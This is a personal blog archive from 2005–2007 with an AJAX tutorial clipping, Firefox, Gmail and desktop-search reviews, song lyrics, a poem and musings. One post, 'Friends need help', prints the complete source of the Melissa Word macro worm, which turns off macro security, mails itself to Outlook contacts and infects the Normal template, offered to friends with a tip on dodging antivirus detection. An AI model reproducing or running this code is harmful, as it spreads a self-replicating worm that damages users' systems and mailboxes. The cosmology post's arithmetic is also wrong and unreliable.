The second parameter is the URL of the page you're requesting. As a security feature, you cannot call pages on 3rd-party domains. Be sure to use the exact domain name on all of your pages or you will get a 'permission denied' error when you call open(). A common pitfall is accessing your site by domain.tld, but attempting to call pages with www.domain.tld.
The third parameter sets whether the request is asynchronous. If TRUE, the execution of the JavaScript function will continue while the response of the server has not yet arrived. This is the A in AJAX.

The parameter to the send() method can be any data you want to send to the server if POST-ing the request. The data should be in the form of a query string, like:

name=value&anothername=othervalue&so=on

Note that if you want to POST data, you have to change the MIME type of the request using the following line:

httpRequest.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');

Otherwise, the server will discard the POSTed data.

[edit] Step 2 – "There you go!" or Handling the Server Response

Remember that when you were sending the request, you provided the name of a JavaScript function that is designed to handle the response.

httpRequest.onreadystatechange = nameOfTheFunction;

Let's see what this function should do. First, the function needs to check for the state of the request. If the state has the value of 4, that means that the full server response is received and it's OK for you to continue processing it.

if (httpRequest.readyState == 4) {     // everything is good, the response is received } else {     // still not ready }

The full list of the readyState values is as follows:

0 (uninitialized)
1 (loading)
2 (loaded)
3 (interactive)
4 (complete)

(Source)

The next thing to check is the status code of the HTTP server response. All the possible codes are listed on the W3C site. For our purposes we are only interested in 200 OK response.

if (httpRequest.status == 200) {     // perfect! } else {     // there was a problem with the request,     // for example the response may be a 404 (Not Found)     // or 500 (Internal Server Error) response codes }

Now after you've checked the state of the request and the HTTP status code of the response, it's up to you to do whatever you want with the data the server has sent to you. You have two options to access that data:

httpRequest.responseText – will return the server response as a string of text
httpRequest.responseXML – will return the response as an XMLDocument object you can traverse using the JavaScript DOM functions

[edit] Step 3 – "All together now!" - A Simple Example

Let's put it all together and do a simple HTTP request. Our JavaScript will request an HTML document, test.html, which contains the text "I'm a test." and then we'll alert() the contents of the test.html file.

<script type="text/javascript" language="javascript">     function makeRequest(url) {         var httpRequest;          if (window.XMLHttpRequest) { // Mozilla, Safari, ...             httpRequest = new XMLHttpRequest();             if (httpRequest.overrideMimeType) {                 httpRequest.overrideMimeType('text/xml');                 // See note below about this line             }         }          else if (window.ActiveXObject) { // IE             try {                 httpRequest = new ActiveXObject("Msxml2.XMLHTTP");                 }                  catch (e) {                            try {                                 httpRequest = new ActiveXObject("Microsoft.XMLHTTP");                                }                               catch (e) {}                           }                                        }          if (!httpRequest) {             alert('Giving up :( Cannot create an XMLHTTP instance');             return false;         }         httpRequest.onreadystatechange = function() { alertContents(httpRequest); };         httpRequest.open('GET', url, true);         httpRequest.send('');      }      function alertContents(httpRequest) {          if (httpRequest.readyState == 4) {             if (httpRequest.status == 200) {                 alert(httpRequest.responseText);             } else {                 alert('There was a problem with the request.');             }         }      } </script> <span     style="cursor: pointer; text-decoration: underline"     onclick="makeRequest('test.html')">         Make a request </span>

In this example:

The user clicks the link "Make a request" in the browser;
This calls the makeRequest() function with a parameter – the name test.html of an HTML file in the same directory;
The request is made and then (onreadystatechange) the execution is passed to alertContents();
alertContents() checks if the response was received and it's an OK and then alert()s the contents of the test.html file.

Note: The line httpRequest.overrideMimeType('text/xml');bug 311724 if the page retrieve by XMLHttpRequest is not valid XML (e.g., if it is plain text). This is actually correct behavior; this article will be revised soon to address this change. above will cause JavaScript Console errors in Firefox 1.5 or later, as documented in

Note 2: if you are sending a request to a piece of code that will return XML, rather than to a static XML file, you must set some response headers if your page is to work in Internet Explorer in addition to Mozilla. If you do not set header Content-Type: application/xml, IE will throw a JavaScript error, 'Object Expected', after the line where you try to access an XML element. If you do not set header Cache-Control: no-cache the browser will cache the response and never re-submit the request, making debugging "challenging."

Note 3: if the httpRequest variable is used globally, competing functions calling makeRequest() may overwrite each other, causing a race condition. Declaring the httpRequest variable local to the function and passing it to the alertContent() function prevents the race condition.

Note 4: To register the callback function onreadystatechange, you cannot have any arguments. That's why the following code does not work:

httpRequest.onreadystatechange = alertContents(httpRequest); // (does not work)

So, to register the function successfully, you can either pass the arguments indirectly via the anonymous function or use httpRequest as a global variable. Examples follow:

httpRequest.onreadystatechange = function() { alertContents(httpRequest); };  //1 (simultaneous request) httpRequest.onreadystatechange = alertContents;  //2 (global variable)

Method 1 lets you have several requests processed simultaneously, while method 2 is used if httpRequest is a global variable.

Note 5: In the event of a communication error (such as the webserver going down), an exception will be thrown in the onreadystatechange method when attempting to access the .status variable. Make sure that you wrap your if...then statement in a try...catch. (See: https://bugzilla.mozilla.org/show_bug.cgi?id=238559).

function alertContents(httpRequest) {          try {             if (httpRequest.readyState == 4) {                 if (httpRequest.status == 200) {                     alert(httpRequest.responseText);                 } else {                     alert('There was a problem with the request.');                 }             }         }         catch( e ) {             alert('Caught Exception: ' + e.description);         }      }

[edit] Step 4 – "The X-Files" or Working with the XML Response

In the previous example, after the response to the HTTP request was received we used the responseText property of the request object, which contained the contents of the test.htmlresponseXML property. file. Now let's try the

First off, let's create a valid XML document that we'll request later on. The document (test.xml) contains the following:

<?xml version="1.0" ?> <root>     I'm a test. </root>

In the script we only need to change the request line to:

... onclick="makeRequest('test.xml')"> ..

Then in alertContents(), we need to replace the line alert(httpRequest.responseText); with:

var xmldoc = httpRequest.responseXML; var root_node = xmldoc.getElementsByTagName('root').item(0); alert(root_node.firstChild.data);

This code takes the XMLDocument object given by responseXML and uses DOM methods to access some of the data contained in the XML document. You can see the test.xml here and the updated test script here.

For more on DOM methods, be sure to check Mozilla's DOM implementation documents.

Retrieved from "http://developer.mozilla.org/en/docs/AJAX:Getting_Started"

Category: AJAX

Get Clipmarks - The easiest way to email text, images and videos you find on the web. It's free!

FireFox2

2007-07-06T06:20:00.002Z

Although it is a world out there, all with new Firefox releases, many of my friends do not even know what Firefox is. If you are still using IE, then i have to call you a loser.
Just go to www.Firefox.com to learn how web browsing can taste with Firefox!
Once you download and install Firefox, you wont go back to the old mal-ware in your windows OS.

clipped from www.mozilla.com

Enjoy a Better Web Experience

Firefox 2 delivers helpful new features to make your online experience more productive.

Stay Secure on the Web

Firefox continues to lead the way in online security, and now includes active protection from online scams to keep you safer.

Personalize Your Browser

Choose from over a thousand useful add-ons that enhance Firefox. It’s easy to personalize Firefox to make it your own.

The award-winning Web browser is now faster, more secure, and fully customizable to your online life. With Firefox 2, we’ve added powerful new features that make your online experience even better.

New CDS version

2006-04-28T08:06:00.002Z

Copernic desktop search 2 beta version is now available! It is now by default the most perfect desktop search engine available.
You can download it from : www.copernic.com Happy with the new CDS !

Firefox and Gmail, the best combination ever...

2005-12-05T06:56:00.002Z

It is almost a long time since i started using Gmail and Firefox, without knowing that PCWorld has ranked them as respectively #1 and #2 products of the year. The cute feature that both of these highly celebrated products share is their speed and ease of use. Firefox is, in my opinion, faster than opera 8.5, thus the fastest browser available today. In a simple test on the same connection line, the same BBC news web page took 1.5 second in Firefox and almost 10 seconds in IE 6.0 to be rendered into view.

Although i haven't touched IE 6.0 anymore after i downloaded Firefox into my computer, i have to confess the there are minor problems with Firefox (that can be fixed definitely in a near future) which might keep the minor citizen away from it; the major thing i struggle about sometimes is that opening numerous pages each containing flash movies into separate tabs will extremely slow down my computer. This makes the CPU to run at 100 percent and even Firefox itself is not capable of handling the case, and switching between the tabs becomes a nightmare.
Overall, I believe that Firefox has a better chance to exist than Opera and IE, and in a few years it will replace both of them.

The second product of the year is Gmail from Google. If you are a not a "Gmem" (gmail member), then i have to warn you that you are wasting your time and money playing with any other e-mail product. I can hardly say that Gmail has the most advanced client script, which is the key to its fast performance. It actually acts like a client software in your web browser. It is as fast as Outlook Express, and supports pop-up menus that will help you reduce your typing and the overall time you spend on mail browsing. Unlike Yahoo! and Hotmail, Gmail has only small text adds related to the content of your messages that will never waste your connection speed. It has an "Auto Save" feature which will automatically save your incomplete messages while you are working on them (like what MS word does with your .doc files.) And the spell checking is much more mature than any other web based e-mail product. The free space is 2.5 GBs, and is increasing everyday, so that you will never need to delete any messages. Its spam guard is very powerful, and with gmail you will hardly find spams in your inbox.
There are also other features, like its free Outlook Express support, the ability to star your message and also many other things that make Gmail absolutely the best email product on the planet.

And if you get the chance to try Gmail in FireFox, you will be one of the luckiest people on the earth!

Need Gmail Invitation?

2005-10-27T09:09:00.001Z

I have 80 or sth gmail invitations left and don't know how to spend them all! If you need one, just leave a comment here with your e-mail address. I will send you 1 as soon as possible.

First Day on the job

2005-10-09T18:35:00.000Z

The experience of first days is always a mixture of pain and pleasure, esp. if it takes you 2:30 hours to get to the working place. Wow, 2 hours + 2 hours = 4 hours, each day, I spend only traveling. Just imagine, I spend 30 * 4 = 120 hours each month doing nothing...

But I gotto move this corpse on...

Copernic is still the best

2005-10-09T18:34:00.001Z

For sure, I can't call it the perfect desktop search, but among all those stuff out there that I have tested for more than one month, this is still the most complete one.

Let us be honest; When we download a desktop search, we do it because we want it to find out one missing file among millions of others. However, many of those companies out there give you sth with all those bells and whistles that doesn't fulfill its actual purposem although it does other things. Consider "Google Desktop 2"; it comes in a complete suit of miscellaneous widgets, a slide bar, a search and indexing engine, and many add-ins. Among all these I have found the searching software the worst. It is very primitive and really lags behind modern desktop search software with rich GUI like copernic or Yahoo! desktop search. It also requires you to hack its registry to change its index folder. I have also found it very slow in deleting files-that were removed or delete on my computer-from its index. The only good thing is that you will always have a cashed image of your visited web pages.

And then MSN desktop. It is almost worst than GDS, and you have to sacrifice you system stability in return for a software package that scatters itself all over your OS like a malicious spyware.

And finally we get to copernic. It is still there in the system tray, for 3 months, silently working on itself, and comes into play only when I need it. It doesn't consume 50 MBs of RAM for a useless sidebar. It doesn't make any wide changes to my Operating System and never adds itself to my system's applications.

And it is still the best among all those giant rivals out there.

FireFox support

2005-10-07T11:55:00.000Z

This Blog has "RSS" live bookmaking feedback.

If you have fireFox, you can create a tab button to get the latest headlines from this blog.

Goodluck.

Need Gmail?

2005-08-27T17:06:00.000Z

If you need one, so, go here: Gmail invitation

Oh, mistress Time, where are you roaming?

2005-08-21T22:06:00.000Z

Gave me a two-month opportunity to stay on earth again!

just thanks to this!

Desktop Search Engines - A way to improve your productivity.

2005-08-19T11:34:00.000Z

As your data and files grow larger each day on your computer's hard disk, you might struggle more and more for finding something or some text file you have just forgot the location within the past few wreaks. The natural thing is to do a Windows search (if using windows) and then going though hundreds to thousands of files and folder for finding a single word which might be also wrong.

This is the time when Desktop Search Engines come into play. And what do they do?

Well, you might have noticed how fast web search engines like Google or M$N are. Just after typing the search query and clinking search, you are provided with hundreds of search results. Now, being lucky, the same thing has also happened for your personal PC.

All you have to do is to types a word, and in less than a second these cool search engines give you all the possible results from the thousands of files on your hard drive.

You can choose among Google, Yahoo, Msn, X1 or Copernic applications. Each give you specific functionality with its benefits and bad sides. Among these, Google is the worst in UI and the simplest and smallest. Yahoo has a heavy UI and returns more search results that Google does with the same search key words. M$N is heavily loaded with stuffs from M$, and in exchange of losing your private desktop with toolbars and other ....s from Micro$oft, it gives you a native Windows search UI.

I have tried all these three that i mentioned.

-To be hones, the M$ product really su'kd on my Win XP SP2. It is from Microsoft, but is the least compatible among all the others with Windows XP!

-Google makes you feel as if you're searching through its website for web contents. I know their idea is simplicity for the best performance on the web, but bringing the entire primitive Google look to desktop is the silliest thing Google could ever do. So i don like it!

-Yahoo has done a nice job of UI and performance in a beta release. But it is still a beta, and can have unknown bugs. As i tried it, i loved it much more than Google and M$N. It does everything in its own window and finds more results that you will ever find with the first two applications.

-X1 is a 15 days trial software. I didn't try it but have read a great deal about its virtues.

-And finally, i downloaded Copernic, the lightest and almost the best; both in performance and UI. It is also the most flexible one. The indexing is lightning fast and the search results are really convenient.

On my hard disk i have almost more than a million files that i use my brain and windows built-in search previously to find a target document. But now, searching among this number of files take less than a second for me, thanks to the highly tuned and flexible searching capabilities of copernic.

If you have so many files like me, and now and then wonder where the things have gone, i recommend downloading and installing Copernic Desktop search as soon as possible. It really boost your productivity and our life!

Tip of the month

2005-08-17T15:19:00.000Z

If you kill the time, time will kill you.

(i really loved this brief statement, though i am going to waste my time for the next two years...)

Inspired by Cosmo

2005-08-07T08:51:00.000Z

Well, it seems to me such a tough decision to think and talk about measuring the universe. Using Big Bang and many of Einstein's theories, scientists have estimated the following as the width of the universe...

Realizing that it is almost 14 billion years after the big bang and creation of the world (although no one knows this for sure), and the fact that light's speed is 300,000 kms/s, we will have the following as an estimated size of the Cosmo:

Each second light's travel * 3600 seconds in one hour * 24 hours a day * 365 days a year =

300,000 * 3600 * 24 * 365 = 9460800000000 or 94.6 * 10(11) kilometers

So! This big number : 94.6 * 10(p11) is only the distance in kilometers that light travels in one year. Now, you must multiply this with the 14 billion years to find the final result:

[946 * 10(11) ] * [14 * 10(9) ] = 132451200000000000000000 Kms = 132451200000000000000000000 meters or 13.2 * 10(25) meters

Yeah! Such a huge number.

Of course our small minds will never have enough RAM or CPU power to process and understand this big number. But remember, this number is only the size of our universe according to the latest discoveries of Hubble and other powerful telescopes in finding the most distant galaxies in the world by trapping the weakest light rays coming towards us from the depth of our universe. This might also change when in 2012 another big telescope ships and replaces Hubble for good.

So, this is all we know people! We live in such a vast universe and rarely look at the sky to even watch it...And being drowned in our everyday life...bearing the mistakes and traditions of our ancestors in the way we live...struggling over nothing...

The size of our milky way:

9460800000000000000

ok...lets figure this out. The size of a small dot on a paper is around 1 millimeter. ok. Lets imagine you have put this simple dot (full-stop) in the middle of page in your note book ( and assume it is our sun in there), and that you live in London. Now, you get up and leave this dot, and after traveling almost 94,608 Kms you find yourself in Japan. Ok. How far have you come? If you put another dot in your note book while resting in a Hotel room in Tokyo, the distance between these two dot, which are our small stars on paper, one located in London and the other in Tokyo, will only fill 1/100000000000000 of the total Milky way! Wow! Just image how big the milky way is. Now, you travel to the moon. You put a dot on a rock while earth in front of you and London is just towards you. You have so far come to almost 1/25000000000000 of the total milky way! Just go on...with the small dot in you note book in London on the earth and you going through our solar system, trying to get out of your compressed milky way....no way! It take one year more for you in this compressed world to get out of the milky way....

Just again imagine how big the world is.... Our milky way just one galaxy among the other estimated 100 billion galaxies....and you still can't understand what this means....no one can grasp it...no one

Gta San Andreas Radio Stations

2005-08-06T08:27:00.000Z

http://faq.gtasanandreas.nl/index.php?section=radio

TOO $HORT - THE GHETTO

2005-08-05T08:19:00.000Z

Turn the speakers on!

Here is one of my favorite black songs, rapped by "Too $hort"

In Radio Los Santos:

----------------------------

Talking bout the ghetto...funky funky ghetto
Trying to survive, trying to stay alive

Chorus:
The ghetto
The ghetto
(Talking bout the ghetto)
The ghetto
The ghetto
(Funk funky ghetto)

Even though the streets are bumpy, lights burned out
Dope fiends die with a pipe in their mouths
Old school buddies not doing it right
Every day it's the same
And it's the same every night
I wouldn't shoot you bro but I'd shoot that fool
If he played me close and tried to test my cool
Every day I wonder just how I'll die
Only thing I know is how to survive
There's only one rule in the real world
And that's to take care of you, only you and yours
Keep dealing with the hard times day after day
Might deal me some dope but then crime don't pay
Black man tried to break into my house again
Thought he got off early doing time in the pen
Even though my brothers do me just like that
I get a lot of love so I'm giving it back to the...

Chorus

So just peep the game and don't call it crap
Cause to me, life is one hard rap
Even though my sister smoked crack cocaine
She was nine months pregnant, ain't nothing changed
600 million on a football team
And her baby dies just like a dope fiend
The story I tell is so incomplete
Five kids in the house and no food to eat
Don't look at me and don't ask me why
Mama's next door getting high
Even though she's got five mouths to feed
She's rather spend her money on a H-I-T
I always tell the truth about things like this
I wonder if the mayor overlooked that list
Instead of adding to the task force send some help

Waiting on him I'd better help myself
Housing Authority and the O.P.D.
All these guns just to handle me in the...

Chorus

Even though they put us down and call us animals
We make real big banks and buy brand new clothes
Drive fancy cars make love to stars
Never really saying just who we are
We use alias names like TOO $HORT
Sell you stuff you might kill for
Young kids grow up and that's all they know
Didn't teach him in school now he's slangin dope
Only thing he knows is how to survive
But will he kill another brother before he dies?
In the ghetto, you keep one eye open
All day long, just hoping and hoping
You can pay your bills and not drink too much
Then the problems of life you'll be throwing up
Like me, but you don't see
Ten years from now, where will you be?

Chorus

So much game in a Too $hort rap
Blacks can't be white and whites can't be black
Why you wanna act like someone else?
All you gotta do is just be yourself
We're all the same color underneath
Short Dog's in the house you'd better listen to me
Never be ashamed of what you are
Proud to be black stand tall at heart
Even though some people give you no respect
Be intelligent, when you put em in check
Cause when you're ignorant, you get treated that way
And when they throw you in jail you got nothing to say
So if you don't listen it's not my fault
I'll be getting paid while you'll be paying the cost
Sitting in the jailhouse running your mouth
While me and my peoples try to get out

Eyes

2005-08-04T13:46:00.000Z

you know, i do potery only once a year, and i think this was my last poem ever written. I myself dont believe in poerty or such airy stuff anymore, but only for the fun of being here...

A Lovers Eyes

Sparks and Harps, then pulses,
Lights on, it blinks,
Ring

Of Shadows

And Plays,

Even fatter, hopes
Rain
Into dust,
Dancing Grains

Of fairy Fields,
Breathing Host
Of Daffodils,
Plains

And Meadows,
Fills the Skies
The Ghost of air,

The Germ that cries,

(Its everywhere,)

Salty Water,
A Lovers Eyes.

Herr Lucifer

May, 2004

Virtual Cool !

2005-08-04T11:59:00.000Z

Today looking into my PC i found a great empty space for the old lovely games and OSs. Poor thing my XP doesn't have any backward compatibility with the older OSs. Thats why i looked for a solution and found one! It the virtual PC man! Damn awesome stuff from M$.

Virtual PC emulates a totally independent PC in a software implementation, allowing to safely test, install, reinstall, debug and evaluates different software and operating systems. You can have up to 11 different Operating systems in each Virtual Machine created by he virtual PC's wizard. Each virtual machine (VM) has its own set of hardware and drivers, fooling the installed operating systems to believe they are running inside a real PC!

They are plenty of uses for this cool software. For me, it means a cool way for cracking and hacking the kernel files of OSs to see how they work and what goes on inside them.

I can also install the beta versions of windows Vista and VS 2005 inside my virtual PC without sweating for the possible damages and threats that might occur to my real system and hardware.

My bro keeps his old games running inside the virtual Win98. He can also refresh his memory of many legacy games like Doom, Resident Evil 1, 2 - Super Mario - Final Fantasy...

I can also test my .Net and Native applications on different operating systems without actually shutting downs any real systems.

And much more to say about this cool software.

Just test it yourself

Poor little baby

2005-07-11T16:51:00.000Z

The new baby was installed successfully after too much complaint about the current version of my OS. No way, it had to be done. I was in extreme need of such a cute software and upgrading my old one couldn't suffice.

Although it is many weeks after this new installation, the OS sometimes goes mad about the pile of memory that the new baby requires. It's way too slow sometimes, sometime after a cool restart it is fast, although overall its performance is good.

Flash MX 2004 - my work!

2005-06-14T12:52:00.000Z

Best view in Flash player 7 (Have you installed it yet?)

Big companies steal ideas from each other!

2005-06-14T07:33:00.001Z

While i am not an MS fan, i have to say that their are involved in a trade in which rules are sooo dirty (or cute?). It was a month ago that i was making fun of MS because of their FronPage2003. Up to last month, i had worked with both FrontPage XP and Macromedia DreamWeaver MX, and was fluent in using both of them for my purposes. However, some intellisense features i heard about FrontPage 2003 made me to give it a try too. You won't believe it thought, but nearly 80 percent of new features in FrontPage 2003 are taken from Macromedia's DreamWeaver MX. From new layout tools for creating easier tables and cells to new interactive buttons, all are taken directly or indirectly from DreamWeaver MX and introduce as "new" features in FP 2003. This fact made me to go mad about MS, struggling that it is a real big pirate in the software world of today that only thinks of expanding its big belly each day by swallowing small companies.

That true, i had a refresher of my Flash knowledge by installing Flash MX 2004 for building up a sexy website for a company. Well, i had done the right thing, and bingo! ActionScript now supports classes and interfaces and other OOP concepts, so i will use my .NET knowledge to jet through it. But, hey, wait: Macromedia has taken many of its language concepts from C# of Microsoft (Although they say that "Java" is that source). Just take a look at their new error handling features, class declarations and their half-grown intellisense (Which is not so intelligence in the case that it can be easily fooled by typing a simple "_mc." and viewing the hard-fixed code hint!), they are such a foolish implementation of ECMA. ActionScript 2 is way too slow to match C#, and Macromedia is in bad scripting support. I can certainly say that even VB6 had a better intellisense that what i see in ActionScript 2.0

OOP in ActionScript, OOP in VB, OOP everyWhere!

2005-06-08T11:44:00.000Z

I have started scripting in flash again. This is actually a refresher of my previous skills with actionscript. However, there are great differences now in the way that i look at action script, mainly because i ve come from C# and VB.NET and C++ into a scripting language, which also happens to be (slightly) object oriented. I now make up flash movies with open eyes and really understand what this or that means. In the mean time i feel like getting a little far from my real being, a windows programmer, although learning other languages can't be a tough adventure in my way.

The important thing is that the whole world is going towards OOP. Nothing will remain procedural, except for weak and powerless scripting languages. Among all the new things happening, i wonder why JavaScript didn't go through the same procedure. It is still procedural. Maybe there are compatibility issues. Maybe browsers don't support OOP concepts for JavaScript in the time being...but this is something that will happen in a few years (Good thing, i don't dwell on JavaScript and might never).

Friends need help

2005-06-01T14:04:00.001Z

Ok, many friends asked me for this famous "Melissa" baby. I decided to upload its code to my blog , so that everyone would know how simple it is to write a malicious worm. It is all the person's intention that determines the behavior of a piece of code. I believe creating a bug free program is much more difficult than doing some dirty jobs like this. But hacking and programming, they are really fun, and why not give the people the opportunity to do virtual destruction instead of physical one? This is a nice psychological way for curing many maniacs in the universe. Let them hit the wall with their heads, nothing will really go wrong...

NOTE:

#########################################################

The following code is intended for educational purposes only. It is not a secret to be made know by me. You can find this source code in many legal websites on the Internet and many security books.

#########################################################

' ----- Save this as a file on your hard disk with the .vbs format. You anti virus will easily catch it the moment you save the file. So, you might use other extensions for saving this document.

'''''''''''''

Private Sub Document_Open()
On Error Resume Next
If System.PrivateProfileString("",
"HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") <>
"" Then
CommandBars("Macro").Controls("Security...").Enabled = False
System.PrivateProfileString("",
"HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") =
1&
Else
CommandBars("Tools").Controls("Macro").Enabled = False
Options.ConfirmConversions = (1 - 1): Options.VirusProtection = (1 - 1):
Options.SaveNormalPrompt = (1 - 1)
End If
Dim UngaDasOutlook, DasMapiName, BreakUmOffASlice
Set UngaDasOutlook = CreateObject("Outlook.Application")
Set DasMapiName = UngaDasOutlook.GetNameSpace("MAPI")
If System.PrivateProfileString("",
"HKEY_CURRENT_USER\Software\Microsoft\Office\", "Melissa?") <> "... by
Kwyjibo" Then

If UngaDasOutlook = "Outlook" Then
DasMapiName.Logon "profile", "password"
For y = 1 To DasMapiName.AddressLists.Count
Set AddyBook = DasMapiName.AddressLists(y)
x = 1
Set BreakUmOffASlice = UngaDasOutlook.CreateItem(0)
For oo = 1 To AddyBook.AddressEntries.Count
Peep = AddyBook.AddressEntries(x)
BreakUmOffASlice.Recipients.Add Peep
x = x + 1
If x > 50 Then oo = AddyBook.AddressEntries.Count
Next oo

BreakUmOffASlice.Subject = "Important Message From " & Application.UserName
BreakUmOffASlice.Body = "Here is that document you asked for ...
dont show anyone else ;-)"
BreakUmOffASlice.Attachments.Add ActiveDocument.FullName
BreakUmOffASlice.Send
Peep = ""
Next y
DasMapiName.Logoff
End If
System.PrivateProfileString("",
"HKEY_CURRENT_USER\Software\Microsoft\Office\", "Melissa?") = "... by
Kwyjibo"
End If

Set ADI1 = ActiveDocument.VBProject.VBComponents.Item(1)
Set NTI1 = NormalTemplate.VBProject.VBComponents.Item(1)

NTCL = NTI1.CodeModule.CountOfLines
ADCL = ADI1.CodeModule.CountOfLines
BGN = 2
If ADI1.Name <> "Melissa" Then
If ADCL > 0 Then ADI1.CodeModule.DeleteLines 1, ADCL
Set ToInfect = ADI1
ADI1.Name = "Melissa"
DoAD = True
End If
If NTI1.Name <> "Melissa" Then
If NTCL > 0 Then NTI1.CodeModule.DeleteLines 1, NTCL
Set ToInfect = NTI1
NTI1.Name = "Melissa"
DoNT = True
End If
If DoNT <> True And DoAD <> True Then GoTo CYA

If DoNT = True Then
Do While ADI1.CodeModule.Lines(1, 1) = ""
ADI1.CodeModule.DeleteLines 1
Loop
ToInfect.CodeModule.AddFromString ("Private Sub Document_Close()")
Do While ADI1.CodeModule.Lines(BGN, 1) <> ""
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
BGN = BGN + 1
Loop
End If
If DoAD = True Then
Do While NTI1.CodeModule.Lines(1, 1) = ""
NTI1.CodeModule.DeleteLines 1
Loop
ToInfect.CodeModule.AddFromString ("Private Sub Document_Open()")
Do While NTI1.CodeModule.Lines(BGN, 1) <> ""
ToInfect.CodeModule.InsertLines BGN, NTI1.CodeModule.Lines(BGN, 1)
BGN = BGN + 1
Loop
End If

CYA:

If NTCL <> 0 And ADCL = 0 And (InStr(1, ActiveDocument.Name, "Document") =
False) Then
ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
ElseIf (InStr(1, ActiveDocument.Name, "Document") <> False) Then
ActiveDocument.Saved = True
End If

WORD/Melissa written by Kwyjibo
Works in both Word 2000 and Word 97
Worm? Macro Virus? Word 97 Virus? Word 2000 Virus? You Decide!
Word -> Email | Word 97 <> Word 2000 ... its a new age!

If Day(Now) = Minute(Now) Then Selection.TypeText " Twenty-two points, plus
triple-word-score, plus fifty points for using all my letters. Games over.
Im outta here."
End Sub

'----------------------------------------- End of Melissa -----------------------------------

Night breaker - what a life

2005-06-01T14:04:00.000Z

Its been almost three months after the graduation that i have slept late at night, digging and peeping into my computer unto break of dawn. Last night i broke the records. Slept around 5:10 AM. Gosh! when i put my head on the pillow, i could hear sparrows singing...the day was coming and i had just started my night... and wow... the next day i woke up at 12 AM, ate break fast at 12:45, ate lunch at 7 and no dinner? what a life, being alone and living on your own, you know no rules. When sth "is" to be done, then it must be done....

Hell, i haven't done any damn literature study in the last months....i getting too far from the world... it is all bear metal at my fingerprints and codes and codes......

no time for blogging - but i gotto think twice...

2005-05-27T21:09:00.000Z

I have been so busy in the last years that couldn't think of do some serious blogging really...But many and many people are doing it, every day, ever hour...and why not me? Since i have no memo-book or autobiography written so far, i think this can be a good way to remember what i have gone through during the course of years and how i have evolved....

Now, May 2005, i am totally drowned in the 10101010100000101 world. One day i work on C#, the other on VB.NET, then some MIL, and late at night some assembly language and hacking activities... then C++, the diffing... Wow! i wish i could stop the time and could learn all this cool stuff in a shorter time...

Just yesterday i was dreaming like:

__asm{
mov eax, 00
mov ebx, 22
mul eax, ebx
pop ebx
div eax, 34
}
.........
ha! i got no time for more